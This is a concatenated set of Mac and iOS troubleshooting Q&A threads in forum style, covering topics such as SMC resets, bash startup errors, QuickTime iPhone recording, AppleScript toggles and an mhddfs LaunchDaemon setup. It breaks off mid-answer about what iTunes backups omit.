Resetting the SMC brings it back to the speed it used to be at, but after a couple of hours of usage, my MacBook has slowed to a crawl again and the only thing that will speed it up again is another SMC reset.

Any ideas?

It is good you mentioned the Check Battery Warning since that is your problem.

Mac will cut down the CPU speed to 1/2 if the battery is not up to snuff.

Your SMC reset will ratify the issue for a while, but since the battery is on the verge, it will eventually trigger the cutting the CPU Speed/Power consumption to 1/2 of normal. You see that as computer slowdown.

If you want to verify my claim there is a CPU test made by Intel to check the CPU and do that during the slow times as comparison to when it is fast.

Download it, and yes you can keep it :)

Here is a sample what it looks like on my MBA.


Whenever I open the Mac Terminal it shows "no such files or directory" Whenever I open my Mac Terminal something goes wrong. I am getting:

  -bash: USERNAME: No such file or directory

This issue started to happen suddenly. I don't have any clue why it is happening.

Whenever you open terminal some scripts are automatically called.

Programs (and users) add different commands to those files to set up their environment.

In default OS X configuration you are running a Bash shell which might run the following scripts:

~/.bash_profile (most probable)
~/.bashrc
/etc/bashrc
other can also be included from the above

You need to check (display for example with command cat ~/.bash_profile) each of them and search for the string USERNAME that is in the error message.

The next step depends solely on the content of the file. You might remove the offending lines or (safer) comment them out (putting # in front of the line).


How can I stream/record my iOS device to MacOS? I'm thinking about making some videos that will need to be recorded from my iPhone and using them in a common, Twitch-like setup where the phone's display is in one region, and a webcam, or other graphics, are displayed around the iOS stream.  I've read that others partially achieve this by using QuickTime Pro to record.  QuickTime Pro integrated a feature where you could start recording from a connected iOS device and that would work perfectly for my scenario.

But this isn't the answer.  I don't have QuickTime Pro, so I went to see about purchasing a license.  Googling "QuickTime Pro" with a couple other modifiers hasn't shown me anything of use and even the buy links from Apples own page seem to be broken.

On the Apple support forums, I saw another user ask where to get a key for QT Pro, and someone responded that a security flaw was found in the Windows version and that Apple has since stopped selling licenses.

So, what's the best alternative?  Specifically, is there an Apple-branded alternative that will allow me to stream/record from my iOS device to my macOS?

If you want to record videos from your iPhone, you can use the normal QuickTime Player to achieve that.

Just connect your iPhone to your Mac, open QuickTime Player and follow the following steps:

Click on 'File' in the menu
Select 'New Movie Recording'
Click on the small downward-pointing arrow beside the record button

Click on your phone's name under 'Camera'

If you want to record the sound from your iPhone, select your phone's name under 'Microphone' too. Else it will record from your Mac's microphone.


Prevent message deletion on iOS device Is there a way to prevent messages (iMessage or SMS) from getting deleted from an iOS device running version 11.2.6?

No, you cannot prevent the user from deleting messages, if they otherwise have access to the Messages app.


File-paths in iCloud: Tilde ( ~ ) within the paths. What's the meaning? The tilde-character is a short-cut for the home-directory of the currently logged-in user (in UNIX-like operating systems).

In the paths of iCloud-directories it is included too.

For example:

com~apple~CloudDocs

or

com~apple~mail

What is it's meaning there?

And in general:
What's the reason for these weird file-paths?

The reason for naming things like that starting with top level domain and going down to being more and more specific is to have them grouped automatically when listing them. This is common practise for things like java classes or preference files (but usually separated by dots).

Using the tilde character has nothing to do with the home directory tilde. I guess it's just one of the last remaining symbols of the standard charset without a special meaning in this context, while .:;<>$/"*# and so on may have conflicts with different interpretations.


Safari forces desktop switch while open Since macOS update 10.15.4, I have been having a problem with Safari.

When I open Safari on one desktop/Space and switch to another one, after a short delay of approximately a second Safari steals focus and swaps Spaces back to the one where it is open. No matter how many times I change the space I'm using, it keeps reverting back to the one where safari is open.

Any ideas on what might be causing this, or how I can fix it? I use Spaces a lot for my workflow and this basically renders them unusable while safari is open.

I am having the exact same issue. Safari kept stealing focus no matter which fullscreen app I would move to. It only does this when moving to a fullscreen app. I found a workaround that keeps it from switching completely away from the fullscreen apps.

I unchecked "When switching to an application, switch to a Space with open windows for the application" in Mission Control. And this stops it from moving back to wherever Safari is open across spaces or screens (running with an external monitor).

This doesn't fix the problem completely as Safari is still technically stealing focus as apps will basically twitch and the Touchbar will switch to Safari displaying the "New Window" "New Private Window" buttons. When switching to Google Chrome, the top part of the app will drop slightly as if the menu bar was being selected and then you have to click into Chrome again to get the focus back to chrome.


iTunes Sever on Synology NAS and Apple Music I have a Synology NAS that's running an iTunes server.  It was setup by my brother and it works. I can share this library with my different Macs around the house (do the models matter)?  Anyway, I would use iTunes to play the music from the server.  Now that I've upgraded to Catalina, I can't get Apple Music to do connect anymore.

How can I get Apple Music to see my iTunes server so I can play music?

The current release version of the iTunes server for Synology is not compatible with Catalina. If you register a ticket with Synology outlining your problem, they will send you an updated server spk to install.

Having said that, there is still a problem which I'm having and I've not been able to find out so far if it's just me or not. The problem I'm seeing is that albums with multiple artists are being listed in the albums list multiple times. once per artist. A real pain for collections.


How to bring a dead MacBook Pro back to life I have inherited a Mid/Late 2007 MacBook Pro from a colleague (A1226) but it doesn't work. It won't start up at all. No boot, not even the SuperDrive sound. I've tried resetting the SMC but it didn't do anything. When I connect the charger, the green light comes on, but that's the only sign of anything I see. It's also missing the battery. He doesn't remember what happened to this particular computer but the battery is broken open. Looked like some serious damage to it.

I'd like to get it working even without the battery, but I don't know what to try. I've read on here that it may be the DC in board? ifixit has a nice guide to remove the DC in board (https://www.ifixit.com/Guide/MacBook+Pro+15-Inch+Core+2+Duo+Models+A1226+and+A1260+Left+I-O+Board+Replacement/678) but I don't want to try it unless I have some evidence it may be this.

What can I try to help diagnose the source of my issue?

First, tether this MacBook Pro to a working Mac with a Firewire port. Attempt starting the MacBook Pro to Target Disk Mode. While the working Mac is on, and the MacBook Pro is off–but connected to power–and both computers are connected to each other via a Firewire cable: press the power button on the MacBook Pro and immediately press and hold the T key on its keyboard. Normally, you will begin to see a Target Disk Mode screensaver on the target Mac and its hard disk drive will mount to the filesystem of the working Mac. If neither the screensaver appears or the drive is mounted, check the System Information app on the working Mac and select Firewire from the list. Verify if there are any signs that the Firewire port is connected to a computer.

If that fails, it highly likely that the power connector and/or logic board are broken.


Why doesn't pbpaste return cursor at new line in bash? I run the command pbpaste in Terminal (bash) to get the result of my clipboard, but unlike other commands which leave the cursor at a new line below the previous stdout, pbpaste leaves it to the right of it, as in the example, showing the command sandwiched between two echo hellos:

hostname:~ jesse$ echo hello
hello
hostname:~ jesse$ pbpaste
https://itunes.apple.com/us/app/noizio/id928871589?mt=12hostname:~ jesse$ echo hello
hello
hostname:~ jesse$

Why is it like this? It seems very odd and makes it difficult to read.

pbpaste pastes exactly what you copy.

In your case you have copied the line not including the CR/LF at the end.
To get the return you need to copy from the start of the line to the beginning of the next line

From @patrix comment

Most commands do end with a CR/LF. e.g. echo "Hello" will put out a newline, however for echo this can be changed echo -n "Hello".

If you want you can add a newline after a pbpaste by using echo "$(pbpaste)" instead.


Is Siri able to recognise a contact nickname and action on it? I want to call my girlfriend using Siri. The problem is that her name is Hungarian and I am not able to pronounce it in a way that Siri recognise it and call her. So I thought that I give her a nickname "girlfriend" and ask Siri to "call my girlfriend". This does not work. Siri asks me who my girlfriend is even though her nickname is defined as "girlfriend"

So what is the easiest way for me to call her using Siri? I have 2,000 names in my contact list with many first names that are the same like her.

In the Contacts app, edit your girlfriend's card to give her a Relationship of girlfriend. This will solve your problem in the most official of ways.

See more detail here.


How to turn off an external display without disconnecting? I have a workplace setup for my Macbook Pro 15" (2011) that is actually two workplaces. One is the Macbook itself, for sitting. The second, right next to it, is a standing desk with an external monitor, keyboard, and mouse.

This works great - I can work on the standing desk, and when my legs get tired, sit down for a while and continue seamlessly on the Macbook.

The only painful point in the transition is that I have to physically disconnect the external display (an Acer 23" display connected through a MiniDP-to-HDMI cable) when sitting down, so the Macbook display becomes the main (and only) desktop again.

Given that I may do this several times a day, this is bound to wear out the connector over time, something I'd like to avoid.

Is there a more sustainable (software-only?) way to disconnect / deactivate an external display?

All I can find on the Google is about the other way round (turning off the internal Macbook display).

There are two solutions I can think of:

SwitchResX
Power plug adapter with remote control

SwitchResX has a number of features including "disable display" which should deactivate it until the software  turns it back on.  From their FAQ:

  SwitchResX includes a function to remove a display from the System's
  list of managed display. This means the display in question, once
  deactivated, will not be visible from the System or from any
  application. Only SwitchResX will be able to activate the display
  again.

Another simple solution is to use a power plug with a remote switch.  It's an easy, non-invasive solution that will get the job done without having to install software or have daemons running that could interfere with your display.  macOS will not detect the display if the power is cut (though it will if it's in "standby" or "sleep")

Both solutions cost about the same (less than $20USD).  SwtichResX has a 10 day free trial and the power adapter comes with a 30 day return.  The software has the benefit of being elegant; but the switch, though a bit crude, has the advantage of you knowing for sure you display is disabled because it's physically off.


How can I remove duplicate photos in Camera Roll? I got a new phone and they transferred all my photos over.  The machine they used to transfer from the iphone 4s to iphone 5s died right as it was finishing so we started all over.  Now I have duplicates and they're in a random order. Is there any way to either group duplicates together or reorder them?

I think you could just connect your iphone device to a desktop and, depending on your os, use a duplicate finder. These apps organize your photo collection pretty well.


Extracting copy from screen without printing screen In preparing academic articles that require quotations from reputable Journals and books I am faced with a round-about retrieval process. First I take a screenshot then print that then scan it and then OCR it into my article document.

Is there a simpler way?

I have an iMac, MS Office and a Canon scanner with My Image Garden.

You may be interested in checking out Aristocrat, a simple app that performs OCR on a selected region of your screen. It's currently free on the App Store.

Disclaimer: I'm the developer :)


Transfer labels ("tags") from a SMB share to an AFP share I had a SMB share from my NAS (based on illumos aka OpenSolaris, I used the kernel CIFS) and now I installed Netatalk for better performances.

The metadata apparently cannot be read back, that means that I lost custom folder icons (not many, already solved) and finder labels ("tags" in Mavericks).
I am trying to use AppleScript to set them back.

I have the same shares mounted at the same time, from a UNIX point of view they are:

/Volumes/share
/Volumes/share-1

depending on which one I mounted first. On the desktop they appear with the same name (and same icon, shame on Apple this time).

I tried AppleScript:

display dialog "Select SMB share/folder"
set SMBshare to choose folder
display dialog "Select equivalent AFP share/folder"
set AFPshare to choose folder

but I get for both "share:Selected folder". As consequence, I cannot go on with:

set theLabel to label index of SMBshare
if theLabel is not 0 then
    [do some search/replace to get new path and set label index]
end if

So, how could I avoid the issue and transfer the labels from one share to another?

The only idea left is to mount the SMB share, then obtain the full list of files using

set {TempTID, AppleScript's text item delimiters} to {AppleScript's text item delimiters, ", "}
tell application "Finder" to set MyList to (entire contents of (choose folder)) as text
set AppleScript's text item delimiters to TempTID

and then unmount the SMB share, mount the AFP share, reapply all the labels previously saved.

Update

I tried the method of mounting/unmounting and it works, but only on small folders or shares, on bigger ones the "get entire contents" takes too long and there is a timeout.

You could use a shell script instead of AppleScript. A tool like this can list and change tags on files.


After market car stereos with iOS 4/iPod Out support? I have an iPod Touch that was upgraded to iOS 4.  I am sick of my FM transmitter, and am looking for an after-market car receiver for my 1998 Honda Civic with iPod support, but am concerned because of discussions like  Topic : iOS 4 - Iphone 3GS - Alpine X303 - Not supported anymore.

Articles like iPhone OS 4.0 paving way for Apple-branded car kit? and the comments section of Instant Expert: Secrets & Features of iOS 4 mention a feature called iPod Out.  Also, iOS 4′s hidden “iPod Out” feature brings iPhone support to your car without the messy third party UI talks about how BMW is announcing support.

Does anybody know of third party units (Alpine, Kenwood, JVC, etc) that have specific support for iPod Out?

I mainly listen to podcasts and audio books (and not music) on my commute.  One of the key features I want is the ability to use pause/resume controls on the receiver when I get a phone call.  Doing a "slide to unlock", then finding the pause button while driving isn't very safe, so I end up missing content.

iPod Out, indeed, looks very cool ...

http://www.youtube.com/watch?v=Wbco58GnS9c

... but is there any reason that a simple line-out cable wouldn't work, at least until more companies hop on the iPod Out bandwagon? There appears to be a whole lot of nothing out there right now.

At the very least it's way better than the FM transmitters, which really suck.


Managing "Hearts" when downloading pictures from iPhone to OSX Photos On my iPhone (iPhone 6 with iOS 9.3.4) I routinely use the "heart" tag to mark my favorite pictures. But, when I sync photos with the OSX Photos App (v 1.5) these tags are removed. In reality I only want to sync or keep these flagged photos. Which brings me to my question(s)

How can I keep the "heart" tags from my iPhone when downloading to the OSX Photos App?

An even better option would be to ONLY download heart-flagged photos if possible and to delete all no-flagged photos on the iPhone, but perhaps those are covered elsewhere.

I don't believe it's possible to plug your phone into your computer and keep your favorites, however you can use iCloud Photo Library to save your photos to the cloud and then sync them to your Mac. Here is a link to a site telling your how exactly to do that. FYI, syncing photos sucks a lot of cell data, so make sure both devices are connected to wifi or Ethernet!


How to change title font color/style/etc for all Powerpoint slides? I'm using Office 2011 on a MacbookPro.

How do I change the font color for each slide in my powerpoint presentation?  I inherited a presentation that has been edited by multiple people, each using different fonts, colors, backgrounds, etc.

What I'm trying to do is unify the presentation so that it looks nice by using one background, one font, etc.  However, I'm having a lot of trouble getting the title color to be uniform and I don't know if it's because I'm incompetent or the previous users did something advanced that is preventing me from doing so.

This is what I've done thus far:
I read on the internet about using something called a Slide Master in Powerpoint.  I tried using it to change the background for all slides (worked for me), changing all fonts to be Arial (works), and changing all fonts to be black (didn't work.  Header is still whatever the original color was).

In the Slide Master View, I highlighted the header of the slide.  I changed the font size to be 8 and to have strikethough in the title.  When I look at the ppt file, all titles are font size 8 and have strikethrough.  When I go back to Master View, I change the font size to 44 and remove strikethrough and all titles reflect this change.  However, when I change the color to be blue, the titles do not reflect this change.

I can go to each slide to manually change the title color, which does work, but that's very, very cumbersome, especially when Slide Master seems to be able to change other things for all slides in the presentation.

Does anyone know why this is or what I must do to fix this?  Is this a bug with Office 2011 on Mac and the workaround is to find a Windows machine to change this?  Am I incompetent and will be shamed for asking an obvious question?

It sounds like the other people who worked on the presentation did not use a template to begin with, or deleted the slide title text, and used a standard text field instead.

Here’s a slide that looks like it has a Title box, a text field, and bullet text field. But that’s not the case.

To see if the slide theme and type are correctly applied for the slide.

Go to the Layout menu from the Home tab.
Verify the slide type and theme being used
Reset the layout to default settings.

If the slide changes after doing this (as my example below has) but the text that you thought was the title text box doesn’t change, then the person who created the slide didn’t use the proper format to begin with. You will have to manually change the text of the title field, and delete their fake title box. The Master Slide can only change the fields that are part of the original template. Text fields added outside the master slide template or after the initial slide type was selected will only receive base text formatting for the presentation.


Time Machine from TC ko on MAvericks Just installed mavericks, erasing the hard drive and installing it as brand new; then I wanted to restore my backup from Time machine (as I always did) but an error screen appears, saying "impossible to open every backup".
I'm kinda scared, I don't have other backups and I always considered time machine on Time capsule as reliable.
What can I do? I tried both from the startup of the new os and inside Mavericks, from migration assistan..
please help!! I have my whole iphoto library on it..

It's still there. At the very least, you can manually connect to your Time Capsule by browsing to it in the finder. You'll then have access to all the backups, and you can manually browse your old hard drive and restore things by copying them over from your home folder.


Use all F1, F2, etc. keys as standard function keys not working I have a MacBook Pro with touchbar and macOS 10.14.1
I'm using a non apple docking station to which I plugged in an LMP keyboard (Model KB-1243) via USB.

Now I want to use the function keys in IntelliJ as shortcuts without having to press the 'fn' key. So I checked the checkbox 'use F1, F2 etc. keys as standard function keys' but it's not working. I still have to press the fn key. I guess this setting is only for the internal MacBook keyboard, because there it works.

But how can I get it enabled for my external USB-Keyboard?

I just tried it with the Karabiner-Elements, set the function keys to the corresponding function key. But it still doesn't work.

I had the same issue but found a solution. You can enable/disable the feature by pressing the fn+Esc keys on the LMP keyboard. Apparently it's a feature built in the firmware and can't be adjusted with software. It took me hours to find out...

I tried everything first. I downloaded Fluor, Karabiner, FunctionFlip, nothing worked. Until I found that little leaflet in the box with instructions...


iPhone 4 internet tethering problem I'm a user of Movistar (Spain) iPhone 4 mobile. I'm trying to activate the internet tethering and seems to all work fine. By default can be selectable. So, I put it on and connect it to my laptop (PC).

I can't no where select to connect with my iPhone. How I have to managed the connection?

Thank you in advance!

Make sure you have iTunes installed on your PC.
Enable tethering via USB on your iPhone.
Connect your iPhone to your PC via USB.

A new driver will automatically be installed and you should be able to use a Local Area Connection that will have been created for you.


Merge folders is not working I'm trying to merge two folders with the same name but different contents in Finder on OSX Mountain Lion.

The folder is located on my iMac and I am dragging a dropping to my External Harddrive where there is a folder with the same name.

I was getting the option to "Merge" previously but now it only shows "Replace".

I've tried holding down the option key and it still doesn't work.

If i drag it the reverse way (from external HD to my iMac) it works.

I also created a new user profile and it works fine both ways on there, so it's making me think I've changed a setting on my current profile but I can't see any options in any of the preferences.

It sounds like a little thing but it really bugs me and is an inconvenience so if anybody can help I'll be very grateful.

Thanks

It wont work in Mac OS if there are sub folders with the same name.

I use Deltawalker for merging folders.

http://www.deltopia.com/compare-merge-sync/macosx/


Is it possible to adjust Lightroom settings with scroll wheel I'm using Mac OS X 10.7.2 "Lion" and Adobe Lightroom 3.5. On Windows, it was possible to adjust settings in the Develop module (exposure, contrast,...) by clicking on that setting and using the scroll wheel.

On my Mac, this doesn't work. Does anyone know if I can enable this?

I don't think it is easily possible to use your scroll wheel to adjust. The only way I can think of is writing a script that translates your scroll wheel action to a up and down arrow key action. but that would prevent you from using your wheel for other actions.

Possible alternative options are:

Clicking on the number besides the slider and by holding your (left) mouse button and moving your mouse you can now adjust the slider.
Click on the number then change the number with your keyboard arrow(up/down) keys. This works best for fine adjustments.
Click on the slider then change the slider with tour keyboard arrow(up/down) keys. This works best for making somewhat bigger adjustments.


Make a "Loved" or favorite podcasts playlist? I really have been trying to find a way to save my favorite podcast episodes from different channels into one playlist. With the new Love button in iTunes, I made a Smart Playlist using this feature. But no luck  iTunes wasn't updating the Smart Playlist with any podcasts that I marked as Loved. Any ideas? Maybe this functionality isn't possible with iTunes? If so, that's a shame...
Thanks

For podcasts

For podcasts, this worked for me:

I noticed, you must add the podcast through the right-click menu also:


Guest User has keychain issues until I reboot We have some systems used as general-purpose systems. We configured the systems to enable the Guest user; periodically, when trying to log into the system, a keychain notification pops up saying it can't access the local keychain. Once logged in, opening applications like Safari gives an error message about not being able to access a keychain ("Do you want to reset to defaults?!")

Reboot the system, it acts normal...no keychain errors.

I have logged in via ssh as an admin user and verified that when the guest user logs off, the home directory files...and presumably the keychain files...are gone for Guest. Logging in re-creates the Guest's home directory.

First thought is something is holding open keychain files even when deleted and not closing the file handle, but I didn't see anything showing up in lsof holding open Guests' files between logins.

OS is 10.10.1. My questions are, how can I find out what is caching keychain credentials for Guest?  And is there a way to clear whatever is affecting the Guest login without having users "turn it off and back on again?"

When you customise Guest User account by copying /Users/Guest folder into the localised Guest User Template you should check that template folder has an empty ./Library/Keychains/ directory.

This will make the system to create keychain during new Guest User initialisation.


Is there a command to view Primary Volume Descriptor in iso images? I use isoinfo to do it on Linux. Is there an isoinfo like command on macOS?

ISO 9660 - 3.3 The Primary Volume Descriptor

An example of isoinfo's output:

$ isoinfo -debug -d -i Win10_1607_Japanese_x64.iso
CD-ROM is in ISO 9660 format
System id:
Volume id: CCSA_X64FRE_JA-JP_DV5
Volume set id: CCSA_X64FRE_JA-JP_DV5
Publisher id: MICROSOFT CORPORATION
Data preparer id: MICROSOFT CORPORATION, ONE MICROSOFT WAY, REDMOND WA 98052, (425) 882-8080
Application id: CDIMAGE 2.56 (01/01/2005 TM)
Copyright File id:
Abstract File id:
Bibliographic File id:
Volume set size is: 1
Volume set sequence number is: 1
Logical block size is: 2048
Volume size is: 2122293
Root directory extent:  26 size: 112
Path table size is:     10
L Path table start:     23
L Path opt table start: 0
M Path table start:     24
M Path opt table start: 0
Creation Date:     2016 07 16 15:46:30.00
Modification Date: 0000 00 00 00:00:00.00
Expiration Date:   0000 00 00 00:00:00.00
Effective Date:    0000 00 00 00:00:00.00
File structure version: 1
El Torito VD version 1 found, boot catalog is in sector 22
NO Joliet present
NO Rock Ridge present
Eltorito validation header:
    Hid 1
    Arch 0 (x86)
    ID 'Microsoft Corporation'
    Key 55 AA
    Eltorito defaultboot header:
        Bootid 88 (bootable)
        Boot media 0 (No Emulation Boot)
        Load segment 0
        Sys type 0
        Nsect 8
        Bootoff 21B 539

The drutil command is the OS X utility that's similar to isoinfo. The dumpiso verb inspects and interprets ISO-9660 and Joliet structures. The format of the command is:

drutil dumpiso <device> <block> [format]

where the arguments are (see man drutil for details):

device   Disk node, e.g. /dev/disk1.

block    Block number to dump.

format   If format is not specified dumpiso will attempt to guess.
         If present, this argument should be one of the following:
         None, Boot, BootCat, PVD, SVD, VPD, VDST, MPath, LPath,
         Dir, or HFSPlusVH.

The drutil command allows a shortcut that avoids the need to attach, mount or detach an ISO image file. The command is:

drutil dumpiso <image> <block>

where <image> is the name of an ISO image file. For example, drutil dumpiso image.iso 16 displays block 16 from an image file named image.iso and guesses the block's format.


Hide/Show Battery Icon in Menu Bar with AppleScript Is there any method to display the battery menu bar status item with AppleScript? I’ve tried to browse the script library but unable to find one that matches this capability.

I simply want to toggle the state of menu bar item found in System Preferences » Energy Saver » Power Adapter setting. There is no need to build an AppleScript application for it.

Update: This updated script wouldn't flash through the screen, i.e runs in the backgound. The old version is still valid.

tell application "System Events"
    tell process "System Preferences"
        activate
    end tell
    tell application "System Preferences"
        set current pane to pane "com.apple.preference.energysaver"
    end tell
    tell process "System Preferences"
        click checkbox 1 of window 1
    end tell
    tell application "System Preferences"
        quit
    end tell
end tell

From Oct. 18th:

-- Allow Script Editor in Accessibility <- Privacy <- Security & Privacy <-  System Preferences. For testing, at the very least.

tell application "System Preferences"
    activate
    set current pane to pane "com.apple.preference.energysaver"
end tell

tell application "System Events"
    tell process "System Preferences"
        tell window 1
            click checkbox 1
        end tell
    end tell
end tell

tell application "System Preferences"
    quit
end tell

-- Create an Automator Service with this, so that you can bind the action to a keyboard shortcut.


Did my girlfriend delete her USB disk? My girlfriend says she dragged the USB disk from the sidebar in finder into trash and  I have since emptied the trash.

Is this plausible? How do I show/display a USB drive using the command line or finder?

Dragging a drive into the trash just means "eject", not "delete contents". Since USB can't be physically ejected, it just unmounts it. Emptying the trash has no effect in this case.

Unplug it, wait a few seconds, plug it back in, and it should show up.

If you don't want to unlpug and plug it back in, see hdiutil attach for CLI solutions, or /Applications/Utilities/Disk Utility.app for GUI.


Is it possible to read out the "Album Artist" ID3 tag with spotlight query? I know that a spotlight query is capable of reading the "Artist" ID3 tag of mp3 files but is it also possible to read out (speak) the "Artist Album" ID3 field? This source doesnt say anything about it?

It isn't possible. You can check to see the metadata associated with a file by using the mdls command.

mdls ~/Music/iTunes/iTunes\ Media/Music/Artist/Album/Song.mp3

Try it with a song that has an Album Artist and you unfortunately won't see it in the output.


How to get stationery back in Apple Mail on macOS Mojave? According to this article, Apple has removed the stationery from Apple Mail.

  Apple Mail Stationery Removed. According to the release notes for the
  macOS Mojave beta, Stationery, the HTML email feature that allowed
  users to choose from pre-built email templates, has been removed from
  the app.

I have installed the first beta of macOS Mojave and it appears that this is unfortunately true.  Is there anyway to regain this functionality of Apple Mail and add stationery to Apple Mail v12.0?

You must have a copy of the following files from a computer running High Sierra (10.13) or lower In this example I used files from Sierra (10.12)

/Applications/Mail/Contents/Resources/ComposeWindow.toolbar
/Library/Application Support/Apple/Mail

If you would like the stationery in the original mail application then skip step 1, disable SIP, and continue with the original application, SIP can be reenabled after. Make copies of everything. Instead of "replace" add a .orig to the file extension.

Duplicate the Mail Application
Right click on the new Mail Application and go to /Contents/Resources/
Replace the ComposeWindow.toolbar with the ComposeWindow.toolbar from the copied files
Go to Finder>Go To Folder>/Library/Application Support/Apple/
Copy the Mail folder from the copied files to this folder
Open the Mail application and compose a new email
Right Click on the Toolbar and select Customize Toolbar
Drag the icon labeled Show Stationery to your toolbar and hit done
Click the Show Stationery button in your toolbar

Note:  The toolbar item DOES work with dark mode but the Stationery Panel does not.

macOS Sierra (10.12) Files are available on Github → https://github.com/jbis9051/StationeryMailFiles


Trying to mount mhddfs / osxfuse via fstab I'm trying to create a virtual drive pool using osxFuse and mhddfs.

I'm on OSX 10.9.5. I've tried osxFuse v2.7.3 installed via the package installer. I've also tried the homebrew cask install method. I've had the same experiences regardless of install method.

This command works for me:

$ sudo mhddfs /Volumes/D01,/Volumes/D12,/Volumes/D103,/Volumes/D110 /mnt/DrivePoolA -o allow_other,volname=DrivePoolA

However, I believe I should also be able to accomplish the same using the 'mount' command, but I've had no luck. I've tried a variety of things similar to the line below. Any suggestions? What am I missing.

sudo mount -t mhddfs -o allow_other,volname=DrivePoolA /Volumes/D01,/Volumes/D12,/Volumes/D103,/Volumes/D110

Finally, and most importantly, I'm trying to mount the drivePool with fstab. My fstab looks like this:

# <file system>  <mount point> <type>  <options>       <dump>  <pass>
mhddfs#/Volumes/D01,/Volumes/D12/,/Volumes/D103/,/Volumes/D110        /mnt/DrivePoolA    osxfusefs    allow_other,volname=DrivePoolA 0 0

However, when I run sudo mount -a on that fstab, I get an error message which states:

  This program is not meant to be called directly. The OSXFUSE library calls it. Available mount options: [followed by the list of mount options]`

Now, I'm assuming that that error is coming from osxfuse_mounter, because I found the txt of the error in the source code of the 'support' project on github. I assume that the error is being passed through back to the 'mount' program, which is spitting it back out the the command line.

I've also tried the following fstab, omitting the options, dump, and pass:

# <file system>  <mount point> <type>  <options>       <dump>  <pass>
mhddfs#/Volumes/D01,/Volumes/D12/,/Volumes/D103/,/Volumes/D110    /mnt/DrivePoolA    osxfusefs

After running  sudo mount -a with this configuration I get no errors, but nothing seems to happen.

Any suggestions?

Here is a way to mount osxfuse / mhddfs via LaunchDaemon

Prerequisites:
– existing /mnt/DrivePoolA
– some Volumes (in the example below Test01-Test03 mounted at /Volumes)
– OSXFuse 2.7.3
– mhddfs via macports

Create a file com.oxsfuse.mhddfs.plist in /Library/LaunchDaemons/

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.oxsfuse.mhddfs</string>
    <key>ProgramArguments</key>
    <array>
        <string>sh</string>
        <string>/usr/local/mhddfs-start.sh</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

Enter in Terminal:

 sudo chown root:wheel /Library/LaunchDaemons/com.oxsfuse.mhddfs.plist
 sudo chmod 644 /Library/LaunchDaemons/com.oxsfuse.mhddfs.plist

Create a file mhddfs-start.sh in /usr/local/

#!/bin/bash

kextload /Library/Filesystems/osxfusefs.fs/Support/osxfusefs.kext
sysctl -w osxfuse.tunables.allow_other=1
/opt/local/bin/mhddfs /Volumes/Test01,/Volumes/Test02,/Volumes/Test03 /mnt/DrivePoolA -o allow_other,loglevel=0,logfile=/tmp/mhddfs1.log,volname=DrivePoolA
sleep 5
/opt/local/bin/mhddfs /Volumes/Test01,/Volumes/Test02,/Volumes/Test03 /mnt/DrivePoolA -o allow_other,loglevel=0,logfile=/tmp/mhddfs2.log,volname=DrivePoolA

Enter in Terminal:

 sudo chown root:wheel /usr/local/mhddfs-start.sh

You may store the shell script somewhere else but be sure to adapt <string>/usr/local/mhddfs-start.sh</string> in the file com.oxsfuse.mhddfs.plist.

After some extended testing in a Parallels VM (Mavericks with OSXFuse 2.7.3 and macport's mhddfs) i got it mounted reliably. And yes, executing mhddfs two times is intended!

You may omit the loglevel=0,logfile=/tmp/mhddfs1/2.log,-part in the shell script - it was just for testing purposes.

Please do some tests with the volumes before using it in a productive environment.


How to perform the Lookup Multi-Touch gesture using Magic Mouse? I ofter use the Lookup Multi-Touch gesture while browsing the Internet using the three finger tap on my Trackpad. How to do the same using Magic Mouse?

You need to use a third party utility such as MagicPrefs or BetterTouchTool. I've mainly used the former as I've always felt it a bit more straight-forward when you just want to set up some minor extra functionality, but it hasn't been updated in a very long time and it feels like it gets buggier and buggier with each new OS X release.

BTT is definitely the way to go at this point, it has seen continued development and is really user friendly these days, and it's just incredibly powerful, once you've fiddled with it a bit and started to build up muscle memory you can get the Magic Mouse to do everything the trackpad does and much more.

In BetterTouchTool, select your mouse, and in the dropdown for predefined actions, choose "Lookup Word Under Cursor".


Stop Image Capture from opening when a new device is connected Ok I get how to disable Image Capture from opening for a specific device, but I'm an iOS developer and I work with a lot of devices. Is there a way to stop this ruddy app from launching the first time I connect any new device? It's a serious invasion of privacy when I connect someone's phone and immediately see their photos plastered on my screen for the world to see!

Actually, the best way is:

Once Image Capture is open, click the device in the list, then:
Bottom left corner of the application, small triangle. There: switch it to "no application".

Done


iPhone text messages and iPads My husband and I have separate Apple ID accounts.  He has gotten old deleted text messages from my iPhone appearing on his iPad. I do not own an iPad; only a Macbook Pro computer.  My son had the same issue but at the time he did share an Apple ID with my husband.  I, however, have a separate Apple ID and have no idea why he would be getting deleted text messages from my iPhone appearing on his iPad.  Thoughts? We are on the same Verizon account and share Wi-Fi in the same house but that is all.

Thank you for your help.

I solved this by changing values under setting/messages/send receive.
For the iPhone enter the phone number then mark it with a check mark.
For the iPad enter your Apple ID.
My initial confusion stemmed from thinking that the Apple ID had to be used for both. It may have been that way long ago. I am not sure.
Good luck.

5/14/2016 Hi, your latest post says your husband has his phone number checked on his iPad. I have my Apple ID checked on my iPad. Also, I recommend deleting the old text messages as they might be giving false impressions. The original programmers are probably shocked that their strategy is being tested by families that have o many Apple devices!


What possible data can I lose if I backup iPhone to iTunes and then restore? I heard that restoring iOS could eliminate the Other category bloating problem. But I'm very OCD about all my data and have a lot of apps. Also I know that iTunes don't backup apps anymore (even with the old iTunes with app support I think only small percent of apps, presumably old apps, were actually backed up as files for me).

I know I should create encrypted manual backup cause I want to keep the passwords. I suppose that if some of my apps were removed from the App Store to the point of not being accessible in the Purchased section, I will lose them, right? Is there no way to know other than checking all my apps in store one by one?

Have you experienced losing other specific data (app data, iOS settings, etc) when restoring via iTunes?

I can't stand that after clearing gigabytes of data, the system still warns me about "not enough space". Or when it downloads 2gb of iOS 12 without asking and then warns about not enough space. Or when I remove that update, and it says that I have only 1gb available (wut).
But I want to be prepared for what comes, cause I really hate having reinstalling OS'es and losing data in the process, just cause I wanted everything to work properly.

What is not included in the iTunes backup itself:

Media (synced with iTunes but not in the backup). Videos, music, podcasts, etc.
Books (can be synced with iCloud or exported with third-party iTunes replacer if stored locally). Includes both ePub and PDF stored in iBooks app.
Apps that are no longer on the AppStore and not accessible via Purchased > Not on this phone (as you've already mentioned). But app
data is still saved in the backup and can be accessed with
third-party apps.
App data of some apps. App developers decide what to include in the backup, so be careful with messengers like Viber or Signal (they
